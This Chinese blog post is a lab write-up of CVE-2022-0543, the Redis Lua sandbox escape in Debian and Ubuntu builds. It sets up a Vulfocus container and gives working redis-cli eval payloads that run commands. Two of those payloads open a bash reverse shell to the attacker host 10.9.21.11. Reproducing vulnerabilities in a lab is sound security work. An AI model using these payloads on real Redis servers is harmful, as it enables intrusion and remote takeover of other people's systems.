Redis 沙盒逃逸(CVE-2022-0543)漏洞复现
描述
Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。
- 影响版本
1 | 2.2 <= redis < 5.0.13 2.2 <= redis < 6.0.15 2.2 <= redis < 6.2.5 |
环境搭建
使用Vulfocus项目提供的镜像进行测试。
搜索该漏洞的镜像,下载并启动容器。
1 | 服务器 Ubuntu:10.9.21.12 redis映射端口:65455 攻击端 kali:10.9.21.11 |
复现流程
- 远程登陆
redis-cli
:
1 | redis-cli -h 10.9.21.12 -p 65455 |
- PoC 1
可以回显Lua脚本执行结果
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0 |
- PoC 2
不能回显Lua脚本执行结果
1 | eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0 |
kali 启动监听:
Payload 1
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("echo \"bash -i >& /dev/tcp/10.9.21.11/5555 0>&1\" > /tmp/1.sh && chmod +x /tmp/1.sh && bash /tmp/1.sh", "r"); local res = f:read("*a"); f:close(); return res' 0 |
- Payload 2
1 | eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("echo \"bash -i >& /dev/tcp/10.9.21.11/5555 0>&1\" > /tmp/1.sh && chmod +x /tmp/1.sh && bash /tmp/1.sh"); return 0' 0 |
注意:/usr/lib/x86_64-linux-gnu/liblua5.1.so.0
该文件的位置可能在实际环境中有差异。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 ShadowMaster's Blog!
评论